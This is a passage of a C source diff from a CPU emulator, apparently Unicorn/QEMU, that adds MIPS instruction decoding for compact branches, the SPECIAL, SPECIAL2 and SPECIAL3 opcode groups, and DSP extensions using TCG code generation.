tcg_invert_cond(TCG_COND_LT), t1, 0, fs); + } else { + /* OPC_BLTUC */ + tcg_gen_brcond_tl(tcg_ctx, tcg_invert_cond(TCG_COND_LTU), t0, t1, fs); + } + break; + case OPC_BLEZC: /* OPC_BGEZC, OPC_BGEC */ + if (rs == 0 && rt != 0) { + /* OPC_BLEZC */ + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_LE), t1, 0, fs); + } else if (rs != 0 && rt != 0 && rs == rt) { + /* OPC_BGEZC */ + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_GE), t1, 0, fs); + } else { + /* OPC_BGEC */ + tcg_gen_brcond_tl(tcg_ctx, tcg_invert_cond(TCG_COND_GE), t0, t1, fs); + } + break; + case OPC_BGTZC: /* OPC_BLTZC, OPC_BLTC */ + if (rs == 0 && rt != 0) { + /* OPC_BGTZC */ + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_GT), t1, 0, fs); + } else if (rs != 0 && rt != 0 && rs == rt) { + /* OPC_BLTZC */ + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_LT), t1, 0, fs); + } else { + /* OPC_BLTC */ + tcg_gen_brcond_tl(tcg_ctx, tcg_invert_cond(TCG_COND_LT), t0, t1, fs); + } + break; + case OPC_BOVC: /* OPC_BEQZALC, OPC_BEQC */ + case OPC_BNVC: /* OPC_BNEZALC, OPC_BNEC */ + if (rs >= rt) { + /* OPC_BOVC, OPC_BNVC */ + TCGv t2 = tcg_temp_new(tcg_ctx); + TCGv t3 = tcg_temp_new(tcg_ctx); + TCGv t4 = tcg_temp_new(tcg_ctx); + TCGv input_overflow = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + tcg_gen_ext32s_tl(tcg_ctx, t2, t0); + tcg_gen_setcond_tl(tcg_ctx, TCG_COND_NE, input_overflow, t2, t0); + tcg_gen_ext32s_tl(tcg_ctx, t3, t1); + tcg_gen_setcond_tl(tcg_ctx, TCG_COND_NE, t4, t3, t1); + tcg_gen_or_tl(tcg_ctx, input_overflow, input_overflow, t4); + + tcg_gen_add_tl(tcg_ctx, t4, t2, t3); + tcg_gen_ext32s_tl(tcg_ctx, t4, t4); + tcg_gen_xor_tl(tcg_ctx, t2, t2, t3); + tcg_gen_xor_tl(tcg_ctx, t3, t4, t3); + tcg_gen_andc_tl(tcg_ctx, t2, t3, t2); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_LT, t4, t2, 0); + tcg_gen_or_tl(tcg_ctx, t4, t4, input_overflow); + if (opc == OPC_BOVC) { + /* OPC_BOVC */ + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_NE), t4, 0, fs); + } else { + /* OPC_BNVC */ + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_EQ), t4, 0, fs); + } + tcg_temp_free(tcg_ctx, input_overflow); + tcg_temp_free(tcg_ctx, t4); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } else if (rs < rt && rs == 0) { + /* OPC_BEQZALC, OPC_BNEZALC */ + if (opc == OPC_BEQZALC) { + /* OPC_BEQZALC */ + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_EQ), t1, 0, fs); + } else { + /* OPC_BNEZALC */ + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_NE), t1, 0, fs); + } + } else { + /* OPC_BEQC, OPC_BNEC */ + if (opc == OPC_BEQC) { + /* OPC_BEQC */ + tcg_gen_brcond_tl(tcg_ctx, tcg_invert_cond(TCG_COND_EQ), t0, t1, fs); + } else { + /* OPC_BNEC */ + tcg_gen_brcond_tl(tcg_ctx, tcg_invert_cond(TCG_COND_NE), t0, t1, fs); + } + } + break; + case OPC_BEQZC: + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_EQ), t0, 0, fs); + break; + case OPC_BNEZC: + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_NE), t0, 0, fs); + break; + default: + MIPS_INVAL("Compact conditional branch/jump"); + generate_exception(ctx, EXCP_RI); + goto out; + } + + /* Generating branch here as compact branches don't have delay slot */ + gen_goto_tb(ctx, 1, ctx->btarget); + gen_set_label(tcg_ctx, fs); + + ctx->hflags |= MIPS_HFLAG_FBNSLOT; + MIPS_DEBUG("Compact conditional branch"); + } + +out: + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +static void decode_opc_special_r6(CPUMIPSState *env, DisasContext *ctx) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + int rs, rt, rd, sa; + uint32_t op1, op2; + + rs = (ctx->opcode >> 21) & 0x1f; + rt = (ctx->opcode >> 16) & 0x1f; + rd = (ctx->opcode >> 11) & 0x1f; + sa = (ctx->opcode >> 6) & 0x1f; + + op1 = MASK_SPECIAL(ctx->opcode); + switch (op1) { + case OPC_LSA: + if (rd != 0) { + int imm2 = extract32(ctx->opcode, 6, 3); + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + tcg_gen_shli_tl(tcg_ctx, t0, t0, imm2 + 1); + tcg_gen_add_tl(tcg_ctx, t0, t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], t0); + tcg_temp_free(tcg_ctx, t1); + tcg_temp_free(tcg_ctx, t0); + } + break; + case OPC_MULT: case OPC_MULTU: case OPC_DIV: case OPC_DIVU: + op2 = MASK_R6_MULDIV(ctx->opcode); + switch (op2) { + case R6_OPC_MUL: + case R6_OPC_MUH: + case R6_OPC_MULU: + case R6_OPC_MUHU: + case R6_OPC_DIV: + case R6_OPC_MOD: + case R6_OPC_DIVU: + case R6_OPC_MODU: + gen_r6_muldiv(ctx, op2, rd, rs, rt); + break; + default: + MIPS_INVAL("special_r6 muldiv"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_SELEQZ: + case OPC_SELNEZ: + gen_cond_move(ctx, op1, rd, rs, rt); + break; + case R6_OPC_CLO: + case R6_OPC_CLZ: + if (rt == 0 && sa == 1) { + /* Major opcode and function field is shared with preR6 MFHI/MTHI. + We need additionally to check other fields */ + gen_cl(ctx, op1, rd, rs); + } else { + generate_exception(ctx, EXCP_RI); + } + break; + case R6_OPC_SDBBP: + if (ctx->hflags & MIPS_HFLAG_SBRI) { + generate_exception(ctx, EXCP_RI); + } else { + generate_exception(ctx, EXCP_DBp); + } + break; +#if defined(TARGET_MIPS64) + case OPC_DLSA: + check_mips_64(ctx); + if (rd != 0) { + int imm2 = extract32(ctx->opcode, 6, 3); + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + tcg_gen_shli_tl(tcg_ctx, t0, t0, imm2 + 1); + tcg_gen_add_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_temp_free(tcg_ctx, t1); + tcg_temp_free(tcg_ctx, t0); + } + break; + case R6_OPC_DCLO: + case R6_OPC_DCLZ: + if (rt == 0 && sa == 1) { + /* Major opcode and function field is shared with preR6 MFHI/MTHI. + We need additionally to check other fields */ + check_mips_64(ctx); + gen_cl(ctx, op1, rd, rs); + } else { + generate_exception(ctx, EXCP_RI); + } + break; + case OPC_DMULT: case OPC_DMULTU: case OPC_DDIV: case OPC_DDIVU: + op2 = MASK_R6_MULDIV(ctx->opcode); + switch (op2) { + case R6_OPC_DMUL: + case R6_OPC_DMUH: + case R6_OPC_DMULU: + case R6_OPC_DMUHU: + case R6_OPC_DDIV: + case R6_OPC_DMOD: + case R6_OPC_DDIVU: + case R6_OPC_DMODU: + check_mips_64(ctx); + gen_r6_muldiv(ctx, op2, rd, rs, rt); + break; + default: + MIPS_INVAL("special_r6 muldiv"); + generate_exception(ctx, EXCP_RI); + break; + } + break; +#endif + default: /* Invalid */ + MIPS_INVAL("special_r6"); + generate_exception(ctx, EXCP_RI); + break; + } +} + +static void decode_opc_special_legacy(CPUMIPSState *env, DisasContext *ctx) +{ + int rs, rt, rd, sa; + uint32_t op1; + + rs = (ctx->opcode >> 21) & 0x1f; + rt = (ctx->opcode >> 16) & 0x1f; + rd = (ctx->opcode >> 11) & 0x1f; + sa = (ctx->opcode >> 6) & 0x1f; + + op1 = MASK_SPECIAL(ctx->opcode); + switch (op1) { + case OPC_MOVN: /* Conditional move */ + case OPC_MOVZ: + check_insn(ctx, ISA_MIPS4 | ISA_MIPS32 | + INSN_LOONGSON2E | INSN_LOONGSON2F); + gen_cond_move(ctx, op1, rd, rs, rt); + break; + case OPC_MFHI: /* Move from HI/LO */ + case OPC_MFLO: + gen_HILO(ctx, op1, rs & 3, rd); + break; + case OPC_MTHI: + case OPC_MTLO: /* Move to HI/LO */ + gen_HILO(ctx, op1, rd & 3, rs); + break; + case OPC_MOVCI: + check_insn(ctx, ISA_MIPS4 | ISA_MIPS32); + if (env->CP0_Config1 & (1 << CP0C1_FP)) { + check_cp1_enabled(ctx); + gen_movci(ctx, rd, rs, (ctx->opcode >> 18) & 0x7, + (ctx->opcode >> 16) & 1); + } else { + generate_exception_err(ctx, EXCP_CpU, 1); + } + break; + case OPC_MULT: + case OPC_MULTU: + if (sa) { + check_insn(ctx, INSN_VR54XX); + op1 = MASK_MUL_VR54XX(ctx->opcode); + gen_mul_vr54xx(ctx, op1, rd, rs, rt); + } else { + gen_muldiv(ctx, op1, rd & 3, rs, rt); + } + break; + case OPC_DIV: + case OPC_DIVU: + gen_muldiv(ctx, op1, 0, rs, rt); + break; +#if defined(TARGET_MIPS64) + case OPC_DMULT: case OPC_DMULTU: case OPC_DDIV: case OPC_DDIVU: + check_insn(ctx, ISA_MIPS3); + check_mips_64(ctx); + gen_muldiv(ctx, op1, 0, rs, rt); + break; +#endif + case OPC_JR: + gen_compute_branch(ctx, op1, 4, rs, rd, sa, 4); + break; + case OPC_SPIM: +#ifdef MIPS_STRICT_STANDARD + MIPS_INVAL("SPIM"); + generate_exception(ctx, EXCP_RI); +#else + /* Implemented as RI exception for now. */ + MIPS_INVAL("spim (unofficial)"); + generate_exception(ctx, EXCP_RI); +#endif + break; + default: /* Invalid */ + MIPS_INVAL("special_legacy"); + generate_exception(ctx, EXCP_RI); + break; + } +} + +static void decode_opc_special(CPUMIPSState *env, DisasContext *ctx) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + int rs, rt, rd, sa; + uint32_t op1; + + rs = (ctx->opcode >> 21) & 0x1f; + rt = (ctx->opcode >> 16) & 0x1f; + rd = (ctx->opcode >> 11) & 0x1f; + sa = (ctx->opcode >> 6) & 0x1f; + + op1 = MASK_SPECIAL(ctx->opcode); + switch (op1) { + case OPC_SLL: /* Shift with immediate */ + if (sa == 5 && rd == 0 && + rs == 0 && rt == 0) { /* PAUSE */ + if ((ctx->insn_flags & ISA_MIPS32R6) && + (ctx->hflags & MIPS_HFLAG_BMASK)) { + MIPS_DEBUG("CTI in delay / forbidden slot"); + generate_exception(ctx, EXCP_RI); + break; + } + } + /* Fallthrough */ + case OPC_SRA: + gen_shift_imm(ctx, op1, rd, rt, sa); + break; + case OPC_SRL: + switch ((ctx->opcode >> 21) & 0x1f) { + case 1: + /* rotr is decoded as srl on non-R2 CPUs */ + if (ctx->insn_flags & ISA_MIPS32R2) { + op1 = OPC_ROTR; + } + /* Fallthrough */ + case 0: + gen_shift_imm(ctx, op1, rd, rt, sa); + break; + default: + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_ADD: case OPC_ADDU: case OPC_SUB: case OPC_SUBU: + gen_arith(ctx, op1, rd, rs, rt); + break; + case OPC_SLLV: /* Shifts */ + case OPC_SRAV: + gen_shift(ctx, op1, rd, rs, rt); + break; + case OPC_SRLV: + switch ((ctx->opcode >> 6) & 0x1f) { + case 1: + /* rotrv is decoded as srlv on non-R2 CPUs */ + if (ctx->insn_flags & ISA_MIPS32R2) { + op1 = OPC_ROTRV; + } + /* Fallthrough */ + case 0: + gen_shift(ctx, op1, rd, rs, rt); + break; + default: + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_SLT: /* Set on less than */ + case OPC_SLTU: + gen_slt(ctx, op1, rd, rs, rt); + break; + case OPC_AND: /* Logic*/ + case OPC_OR: + case OPC_NOR: + case OPC_XOR: + gen_logic(ctx, op1, rd, rs, rt); + break; + case OPC_JALR: + gen_compute_branch(ctx, op1, 4, rs, rd, sa, 4); + break; + case OPC_TGE: case OPC_TGEU: case OPC_TLT: case OPC_TLTU: case OPC_TEQ: + case OPC_TNE: + gen_trap(ctx, op1, rs, rt, -1); + break; + case OPC_LSA: /* OPC_PMON */ + if ((ctx->insn_flags & ISA_MIPS32R6) || + (env->CP0_Config3 & (1 << CP0C3_MSAP))) { + decode_opc_special_r6(env, ctx); + } else { + /* Pmon entry point, also R4010 selsl */ +#ifdef MIPS_STRICT_STANDARD + MIPS_INVAL("PMON / selsl"); + generate_exception(ctx, EXCP_RI); +#else + gen_helper_0e0i(tcg_ctx, pmon, sa); +#endif + } + break; + case OPC_SYSCALL: + generate_exception(ctx, EXCP_SYSCALL); + ctx->bstate = BS_STOP; + break; + case OPC_BREAK: + generate_exception(ctx, EXCP_BREAK); + break; + case OPC_SYNC: + /* Treat as NOP. */ + break; + +#if defined(TARGET_MIPS64) + /* MIPS64 specific opcodes */ + case OPC_DSLL: + case OPC_DSRA: + case OPC_DSLL32: + case OPC_DSRA32: + check_insn(ctx, ISA_MIPS3); + check_mips_64(ctx); + gen_shift_imm(ctx, op1, rd, rt, sa); + break; + case OPC_DSRL: + switch ((ctx->opcode >> 21) & 0x1f) { + case 1: + /* drotr is decoded as dsrl on non-R2 CPUs */ + if (ctx->insn_flags & ISA_MIPS32R2) { + op1 = OPC_DROTR; + } + /* Fallthrough */ + case 0: + check_insn(ctx, ISA_MIPS3); + check_mips_64(ctx); + gen_shift_imm(ctx, op1, rd, rt, sa); + break; + default: + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_DSRL32: + switch ((ctx->opcode >> 21) & 0x1f) { + case 1: + /* drotr32 is decoded as dsrl32 on non-R2 CPUs */ + if (ctx->insn_flags & ISA_MIPS32R2) { + op1 = OPC_DROTR32; + } + /* Fallthrough */ + case 0: + check_insn(ctx, ISA_MIPS3); + check_mips_64(ctx); + gen_shift_imm(ctx, op1, rd, rt, sa); + break; + default: + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_DADD: case OPC_DADDU: case OPC_DSUB: case OPC_DSUBU: + check_insn(ctx, ISA_MIPS3); + check_mips_64(ctx); + gen_arith(ctx, op1, rd, rs, rt); + break; + case OPC_DSLLV: + case OPC_DSRAV: + check_insn(ctx, ISA_MIPS3); + check_mips_64(ctx); + gen_shift(ctx, op1, rd, rs, rt); + break; + case OPC_DSRLV: + switch ((ctx->opcode >> 6) & 0x1f) { + case 1: + /* drotrv is decoded as dsrlv on non-R2 CPUs */ + if (ctx->insn_flags & ISA_MIPS32R2) { + op1 = OPC_DROTRV; + } + /* Fallthrough */ + case 0: + check_insn(ctx, ISA_MIPS3); + check_mips_64(ctx); + gen_shift(ctx, op1, rd, rs, rt); + break; + default: + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_DLSA: + if ((ctx->insn_flags & ISA_MIPS32R6) || + (env->CP0_Config3 & (1 << CP0C3_MSAP))) { + decode_opc_special_r6(env, ctx); + } + break; +#endif + default: + if (ctx->insn_flags & ISA_MIPS32R6) { + decode_opc_special_r6(env, ctx); + } else { + decode_opc_special_legacy(env, ctx); + } + } +} + +static void decode_opc_special2_legacy(CPUMIPSState *env, DisasContext *ctx) +{ + int rs, rt, rd; + uint32_t op1; + + check_insn_opc_removed(ctx, ISA_MIPS32R6); + + rs = (ctx->opcode >> 21) & 0x1f; + rt = (ctx->opcode >> 16) & 0x1f; + rd = (ctx->opcode >> 11) & 0x1f; + + op1 = MASK_SPECIAL2(ctx->opcode); + switch (op1) { + case OPC_MADD: case OPC_MADDU: + case OPC_MSUB: case OPC_MSUBU: + check_insn(ctx, ISA_MIPS32); + gen_muldiv(ctx, op1, rd & 3, rs, rt); + break; + case OPC_MUL: + gen_arith(ctx, op1, rd, rs, rt); + break; + case OPC_DIV_G_2F: + case OPC_DIVU_G_2F: + case OPC_MULT_G_2F: + case OPC_MULTU_G_2F: + case OPC_MOD_G_2F: + case OPC_MODU_G_2F: + check_insn(ctx, INSN_LOONGSON2F); + gen_loongson_integer(ctx, op1, rd, rs, rt); + break; + case OPC_CLO: + case OPC_CLZ: + check_insn(ctx, ISA_MIPS32); + gen_cl(ctx, op1, rd, rs); + break; + case OPC_SDBBP: + /* XXX: not clear which exception should be raised + * when in debug mode... + */ + check_insn(ctx, ISA_MIPS32); + if (!(ctx->hflags & MIPS_HFLAG_DM)) { + generate_exception(ctx, EXCP_DBp); + } else { + generate_exception(ctx, EXCP_DBp); + } + /* Treat as NOP. */ + break; +#if defined(TARGET_MIPS64) + case OPC_DCLO: + case OPC_DCLZ: + check_insn(ctx, ISA_MIPS64); + check_mips_64(ctx); + gen_cl(ctx, op1, rd, rs); + break; + case OPC_DMULT_G_2F: + case OPC_DMULTU_G_2F: + case OPC_DDIV_G_2F: + case OPC_DDIVU_G_2F: + case OPC_DMOD_G_2F: + case OPC_DMODU_G_2F: + check_insn(ctx, INSN_LOONGSON2F); + gen_loongson_integer(ctx, op1, rd, rs, rt); + break; +#endif + default: /* Invalid */ + MIPS_INVAL("special2_legacy"); + generate_exception(ctx, EXCP_RI); + break; + } +} + +static void decode_opc_special3_r6(CPUMIPSState *env, DisasContext *ctx) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + int rs, rt, rd, sa; + uint32_t op1, op2; + int16_t imm; + + rs = (ctx->opcode >> 21) & 0x1f; + rt = (ctx->opcode >> 16) & 0x1f; + rd = (ctx->opcode >> 11) & 0x1f; + sa = (ctx->opcode >> 6) & 0x1f; + imm = (int16_t)ctx->opcode >> 7; + + op1 = MASK_SPECIAL3(ctx->opcode); + switch (op1) { + case R6_OPC_PREF: + if (rt >= 24) { + /* hint codes 24-31 are reserved and signal RI */ + generate_exception(ctx, EXCP_RI); + } + /* Treat as NOP. */ + break; + case R6_OPC_CACHE: + /* Treat as NOP. */ + break; + case R6_OPC_SC: + gen_st_cond(ctx, op1, rt, rs, imm); + break; + case R6_OPC_LL: + gen_ld(ctx, op1, rt, rs, imm); + break; + case OPC_BSHFL: + { + TCGv t0; + if (rd == 0) { + /* Treat as NOP. */ + break; + } + t0 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rt); + + op2 = MASK_BSHFL(ctx->opcode); + switch (op2) { + case OPC_ALIGN: case OPC_ALIGN_END: + sa &= 3; + if (sa == 0) { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], t0); + } else { + TCGv t1 = tcg_temp_new(tcg_ctx); + TCGv_i64 t2 = tcg_temp_new_i64(tcg_ctx); + gen_load_gpr(ctx, t1, rs); + tcg_gen_concat_tl_i64(tcg_ctx, t2, t1, t0); + tcg_gen_shri_i64(tcg_ctx, t2, t2, 8 * (4 - sa)); +#if defined(TARGET_MIPS64) + tcg_gen_ext32s_i64(tcg_ctx, *cpu_gpr[rd], t2); +#else + tcg_gen_trunc_i64_i32(tcg_ctx, *cpu_gpr[rd], t2); +#endif + tcg_temp_free_i64(tcg_ctx, t2); + tcg_temp_free(tcg_ctx, t1); + } + break; + case OPC_BITSWAP: + gen_helper_bitswap(tcg_ctx, *cpu_gpr[rd], t0); + break; + } + tcg_temp_free(tcg_ctx, t0); + } + break; +#if defined(TARGET_MIPS64) + case R6_OPC_SCD: + gen_st_cond(ctx, op1, rt, rs, imm); + break; + case R6_OPC_LLD: + gen_ld(ctx, op1, rt, rs, imm); + break; + case OPC_DBSHFL: + check_mips_64(ctx); + { + TCGv t0; + if (rd == 0) { + /* Treat as NOP. */ + break; + } + t0 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rt); + + op2 = MASK_DBSHFL(ctx->opcode); + switch (op2) { + case OPC_DALIGN: case OPC_DALIGN_END: + sa &= 7; + if (sa == 0) { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], t0); + } else { + TCGv t1 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t1, rs); + tcg_gen_shli_tl(tcg_ctx, t0, t0, 8 * sa); + tcg_gen_shri_tl(tcg_ctx, t1, t1, 8 * (8 - sa)); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[rd], t1, t0); + tcg_temp_free(tcg_ctx, t1); + } + break; + case OPC_DBITSWAP: + gen_helper_dbitswap(tcg_ctx, *cpu_gpr[rd], t0); + break; + } + tcg_temp_free(tcg_ctx, t0); + } + break; +#endif + default: /* Invalid */ + MIPS_INVAL("special3_r6"); + generate_exception(ctx, EXCP_RI); + break; + } +} + +static void decode_opc_special3_legacy(CPUMIPSState *env, DisasContext *ctx) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + int rs, rt, rd; + uint32_t op1, op2; + + rs = (ctx->opcode >> 21) & 0x1f; + rt = (ctx->opcode >> 16) & 0x1f; + rd = (ctx->opcode >> 11) & 0x1f; + + op1 = MASK_SPECIAL3(ctx->opcode); + switch (op1) { + case OPC_DIV_G_2E: case OPC_DIVU_G_2E: + case OPC_MOD_G_2E: case OPC_MODU_G_2E: + case OPC_MULT_G_2E: case OPC_MULTU_G_2E: + /* OPC_MULT_G_2E, OPC_ADDUH_QB_DSP, OPC_MUL_PH_DSP have + * the same mask and op1. */ + if ((ctx->insn_flags & ASE_DSPR2) && (op1 == OPC_MULT_G_2E)) { + op2 = MASK_ADDUH_QB(ctx->opcode); + switch (op2) { + case OPC_ADDUH_QB: + case OPC_ADDUH_R_QB: + case OPC_ADDQH_PH: + case OPC_ADDQH_R_PH: + case OPC_ADDQH_W: + case OPC_ADDQH_R_W: + case OPC_SUBUH_QB: + case OPC_SUBUH_R_QB: + case OPC_SUBQH_PH: + case OPC_SUBQH_R_PH: + case OPC_SUBQH_W: + case OPC_SUBQH_R_W: + gen_mipsdsp_arith(ctx, op1, op2, rd, rs, rt); + break; + case OPC_MUL_PH: + case OPC_MUL_S_PH: + case OPC_MULQ_S_W: + case OPC_MULQ_RS_W: + gen_mipsdsp_multiply(ctx, op1, op2, rd, rs, rt, 1); + break; + default: + MIPS_INVAL("MASK ADDUH.QB"); + generate_exception(ctx, EXCP_RI); + break; + } + } else if (ctx->insn_flags & INSN_LOONGSON2E) { + gen_loongson_integer(ctx, op1, rd, rs, rt); + } else { + generate_exception(ctx, EXCP_RI); + } + break; + case OPC_LX_DSP: + op2 = MASK_LX(ctx->opcode); + switch (op2) { +#if defined(TARGET_MIPS64) + case OPC_LDX: +#endif + case OPC_LBUX: + case OPC_LHX: + case OPC_LWX: + gen_mipsdsp_ld(ctx, op2, rd, rs, rt); + break; + default: /* Invalid */ + MIPS_INVAL("MASK LX"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_ABSQ_S_PH_DSP: + op2 = MASK_ABSQ_S_PH(ctx->opcode); + switch (op2) { + case OPC_ABSQ_S_QB: + case OPC_ABSQ_S_PH: + case OPC_ABSQ_S_W: + case OPC_PRECEQ_W_PHL: + case OPC_PRECEQ_W_PHR: + case OPC_PRECEQU_PH_QBL: + case OPC_PRECEQU_PH_QBR: + case OPC_PRECEQU_PH_QBLA: + case OPC_PRECEQU_PH_QBRA: + case OPC_PRECEU_PH_QBL: + case OPC_PRECEU_PH_QBR: + case OPC_PRECEU_PH_QBLA: + case OPC_PRECEU_PH_QBRA: + gen_mipsdsp_arith(ctx, op1, op2, rd, rs, rt); + break; + case OPC_BITREV: + case OPC_REPL_QB: + case OPC_REPLV_QB: + case OPC_REPL_PH: + case OPC_REPLV_PH: + gen_mipsdsp_bitinsn(ctx, op1, op2, rd, rt); + break; + default: + MIPS_INVAL("MASK ABSQ_S.PH"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_ADDU_QB_DSP: + op2 = MASK_ADDU_QB(ctx->opcode); + switch (op2) { + case OPC_ADDQ_PH: + case OPC_ADDQ_S_PH: + case OPC_ADDQ_S_W: + case OPC_ADDU_QB: + case OPC_ADDU_S_QB: + case OPC_ADDU_PH: + case OPC_ADDU_S_PH: + case OPC_SUBQ_PH: + case OPC_SUBQ_S_PH: + case OPC_SUBQ_S_W: + case OPC_SUBU_QB: + case OPC_SUBU_S_QB: + case OPC_SUBU_PH: + case OPC_SUBU_S_PH: + case OPC_ADDSC: + case OPC_ADDWC: + case OPC_MODSUB: + case OPC_RADDU_W_QB: + gen_mipsdsp_arith(ctx, op1, op2, rd, rs, rt); + break; + case OPC_MULEU_S_PH_QBL: + case OPC_MULEU_S_PH_QBR: + case OPC_MULQ_RS_PH: + case OPC_MULEQ_S_W_PHL: + case OPC_MULEQ_S_W_PHR: + case OPC_MULQ_S_PH: + gen_mipsdsp_multiply(ctx, op1, op2, rd, rs, rt, 1); + break; + default: /* Invalid */ + MIPS_INVAL("MASK ADDU.QB"); + generate_exception(ctx, EXCP_RI); + break; + + } + break; + case OPC_CMPU_EQ_QB_DSP: + op2 = MASK_CMPU_EQ_QB(ctx->opcode); + switch (op2) { + case OPC_PRECR_SRA_PH_W: + case OPC_PRECR_SRA_R_PH_W: + gen_mipsdsp_arith(ctx, op1, op2, rt, rs, rd); + break; + case OPC_PRECR_QB_PH: + case OPC_PRECRQ_QB_PH: + case OPC_PRECRQ_PH_W: + case OPC_PRECRQ_RS_PH_W: + case OPC_PRECRQU_S_QB_PH: + gen_mipsdsp_arith(ctx, op1, op2, rd, rs, rt); + break; + case OPC_CMPU_EQ_QB: + case OPC_CMPU_LT_QB: + case OPC_CMPU_LE_QB: + case OPC_CMP_EQ_PH: + case OPC_CMP_LT_PH: + case OPC_CMP_LE_PH: + gen_mipsdsp_add_cmp_pick(ctx, op1, op2, rd, rs, rt, 0); + break; + case OPC_CMPGU_EQ_QB: + case OPC_CMPGU_LT_QB: + case OPC_CMPGU_LE_QB: + case OPC_CMPGDU_EQ_QB: + case OPC_CMPGDU_LT_QB: + case OPC_CMPGDU_LE_QB: + case OPC_PICK_QB: + case OPC_PICK_PH: + case OPC_PACKRL_PH: + gen_mipsdsp_add_cmp_pick(ctx, op1, op2, rd, rs, rt, 1); + break; + default: /* Invalid */ + MIPS_INVAL("MASK CMPU.EQ.QB"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_SHLL_QB_DSP: + gen_mipsdsp_shift(ctx, op1, rd, rs, rt); + break; + case OPC_DPA_W_PH_DSP: + op2 = MASK_DPA_W_PH(ctx->opcode); + switch (op2) { + case OPC_DPAU_H_QBL: + case OPC_DPAU_H_QBR: + case OPC_DPSU_H_QBL: + case OPC_DPSU_H_QBR: + case OPC_DPA_W_PH: + case OPC_DPAX_W_PH: + case OPC_DPAQ_S_W_PH: + case OPC_DPAQX_S_W_PH: + case OPC_DPAQX_SA_W_PH: + case OPC_DPS_W_PH: + case OPC_DPSX_W_PH: + case OPC_DPSQ_S_W_PH: + case OPC_DPSQX_S_W_PH: + case OPC_DPSQX_SA_W_PH: + case OPC_MULSAQ_S_W_PH: + case OPC_DPAQ_SA_L_W: + case OPC_DPSQ_SA_L_W: + case OPC_MAQ_S_W_PHL: + case OPC_MAQ_S_W_PHR: + case OPC_MAQ_SA_W_PHL: + case OPC_MAQ_SA_W_PHR: + case OPC_MULSA_W_PH: + gen_mipsdsp_multiply(ctx, op1, op2, rd, rs, rt, 0); + break; + default: /* Invalid */ + MIPS_INVAL("MASK DPAW.PH"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_INSV_DSP: + op2 = MASK_INSV(ctx->opcode); + switch (op2) { + case OPC_INSV: + check_dsp(ctx); + { + TCGv t0, t1; + + if (rt == 0) { + MIPS_DEBUG("NOP"); + break; + } + + t0 = tcg_temp_new(tcg_ctx); + t1 = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, t0, rt); + gen_load_gpr(ctx, t1, rs); + + gen_helper_insv(tcg_ctx, *cpu_gpr[rt], tcg_ctx->cpu_env, t1, t0); + + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); + break; + } + default: /* Invalid */ + MIPS_INVAL("MASK INSV"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_APPEND_DSP: + gen_mipsdsp_append(env, ctx, op1, rt, rs, rd); + break; + case OPC_EXTR_W_DSP: + op2 = MASK_EXTR_W(ctx->opcode); + switch (op2) { + case OPC_EXTR_W: + case OPC_EXTR_R_W: + case OPC_EXTR_RS_W: + case OPC_EXTR_S_H: + case OPC_EXTRV_S_H: + case OPC_EXTRV_W: + case OPC_EXTRV_R_W: + case OPC_EXTRV_RS_W: + case OPC_EXTP: + case OPC_EXTPV: + case OPC_EXTPDP: + case OPC_EXTPDPV: + gen_mipsdsp_accinsn(ctx, op1, op2, rt, rs, rd, 1); + break; + case OPC_RDDSP: + gen_mipsdsp_accinsn(ctx, op1, op2, rd, rs, rt, 1); + break; + case OPC_SHILO: + case OPC_SHILOV: + case OPC_MTHLIP: + case OPC_WRDSP: + gen_mipsdsp_accinsn(ctx, op1, op2, rd, 